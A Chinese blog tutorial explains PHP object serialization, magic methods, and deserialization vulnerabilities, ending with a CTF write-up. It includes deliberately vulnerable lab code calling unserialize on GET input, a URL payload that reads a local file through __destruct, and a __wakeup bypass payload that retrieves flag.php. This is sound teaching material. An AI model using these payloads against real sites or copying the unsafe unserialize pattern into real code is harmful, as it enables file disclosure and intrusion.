PHP反序列化原理

序列化漏洞在php中还是很常见的,最近在做一些代码审计的项目时也经常会出现序列化引发的问题。

serialize/序列化 :把一个对象转成字符串形式, 可以用于保存

unserilize/反序列化:把serialize序列化后的字符串变成一个对象

<?php
/**
 * Created by PhpStorm.
 * User: Administrator
 * Date: 2019/4/13
 * Time: 1:33
 */
class F{
    public $filename='a.txt';
}
$a = new F();
echo $a->filename.'<br />';
echo serialize($a);
?>

先建立一个名称为F的类,其中有filename这样的一个变量,最后输出序列化的结果。

 第二行即序列化后的结果。

O: 对像, 1 对象名长度, 就是这里的 'F'

s: 字符串

8: 字符串长度, 后面的filename为字符串定义时的名字

序列化的形式还是挺简洁的,在以前做过的一个题中还要求构造过序列化字符串,因此格式如果不对,序列化是无法运行的。

接着看一个序列化的例子。

<?php
 class F{
    public $filename='a.txt';
    function __destruct(){
        echo '--------------><br />';
    }
}

$a = new F();
echo $a->filename.'<br />';
echo serialize($a);
$b = unserialize('O:1:"F":1:{s:9:"filenameF";s:8:"bcda.txt";}');
echo '<br />'.$b->filename;
echo '<br />'.$b->filenameF;

 可以看到析构函数输出了两次, 说明这两个应是同一个类, 只是 $b 多出了一个属性 filenameF, filename可直常输出, filenameF也可正常输出。

在PHP中, 类被创建或消失后, 都会自动的执行某些函数, 如:

__construct(), __destruct(), __call(), __callStatic(),
__get(), __set(), __isset(), __unset(),
__sleep(), __wakeup(), __toString(), __invoke(), __set_state(),
__clone(), and __autoload()

或自动执行某些方法, 如:

Exception::__toString
ErrorException::__toString
DateTime::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionExtension::__toString
LogicException::__toString
BadFunctionCallException::__toString
BadMethodCallException::__toString
DomainException::__toString
InvalidArgumentException::__toString
LengthException::__toString
OutOfRangeException::__toString
RuntimeException::__toString

利用这些自动执行的函数和方法,执行一些非常规的操作。

创建如下代码

<?php
 class F{
    public $filename='d:\\phpstudy\\www\\a.txt';
    #$filename为public
    function __destruct(){
        $data = readfile($this->filename);
        echo $data;
    }
}

$a = new F();
echo $a->filename.'<br />';

因为 __destruct 析构函数在一个类对象消失时, 会自动执行。 所以上面的代码当运行结束时, 类对象 $a 消失后, 代码会自动执行 __destruct() 函数。

因为 __destruct 析构函数在一个类对象消失时, 会自动执行。 所以上面的代码当运行结束时, 类对象 $a 消失后, 代码会自动执行 __destruct() 函数。

<?php
class F{
    public $filename='d:\\aaa.txt';
    function _destruct(){
        $data = readfile($this->filename);
        echo $data.'<br />';
    }
}

$a = new F();
echo $a->filename.'<br />';
$b = unserialize($_GET['a']);
?>

这段代码涉及了两个析构函数,第一次函数执行在F()中,是默认的路径,第二次执行是在GET变量中,是变量。因此利用_destruct也可以读取文件。

<?php
class F{
    public $filename='aaa.txt';
}
$a = new F();
$a->filename = 'd:\\aaa.txt';
echo serialize($a);
?>
O:1:"F":1:{s:8:"filename";s:10:"d:\aaa.txt";}

当我们在URL传入参数

 
http://localhost/11.php?a=O:1:%22F%22:1:{s:8:%22filename%22;s:21:%22d:\phpstudy\www\2.txt%22;}
 

就可以读取我在文件中写入的数据了。

 这是其中一种利用反序列化漏洞的方式。

第二种最常见的漏洞点在于函数的使用。

魔法函数:_wakeup() , sleep()

昨天的比赛中有这样的一个题,先贴出代码。

  class SoFun{ 
    protected $file='index.php';
    function __destruct(){ 
      if(!empty($this->file)) {
       if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
          show_source(dirname (__FILE__).'/'.$this ->file);
       else      die('Wrong filename.');
      }}  
    function __wakeup(){ $this-> file='index.php'; } 
    public function __toString(){return '' ;}}     
    if (!isset($_GET['file'])){ show_source('index.php'); } 
    else{ 
       $file=base64_decode( $_GET['file']); 
       echo unserialize($file ); } 
?>   #<!--key in flag.php-->

当时的解题思路。

1.KEY在flag.php中

2.在_destruct析构函数中有一段代码是将file文件读取出来 show_source 这里就是得到key的突破点。

3.如果没有_destruct()下面的那个wakeup函数作为限制,那么这道题可以直接post一个file=flag.php序列化后的结果就可以,但是有了wakeup这个函数,这样的方法就实现不了,因为wakeup函数的作用就是无论你序列化后的结果是什么,最后都会执行读取index.php这个命令,因此就需要绕过wakeup函数的限制。

4.最后的方法就是file=flag.php 然后调用destruct,绕过wakeup。

绕过wakeup的方式最简单的一种,让序列化后的属性个数值大于实际值数值即可,例如

O:10:”girlfriend”:1:{S:4:”name”;s:3:”hsy”;} 

这是序列化的一个真实情况

现在构造这样的形式。

O:10:”girlfriend”:2:{S:4:”name”;s:3:”hsy”;} 

属性个数改为2,就会绕过wakeup的限制。

因此这道题的解法,构造

file=O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;} 

就得出答案了。

序列化的问题在ctf中难度不是很大,但是出题率极高,方法几乎就是构造序列化,绕过函数。

猜你喜欢

转载自www.cnblogs.com/sylover/p/10699630.html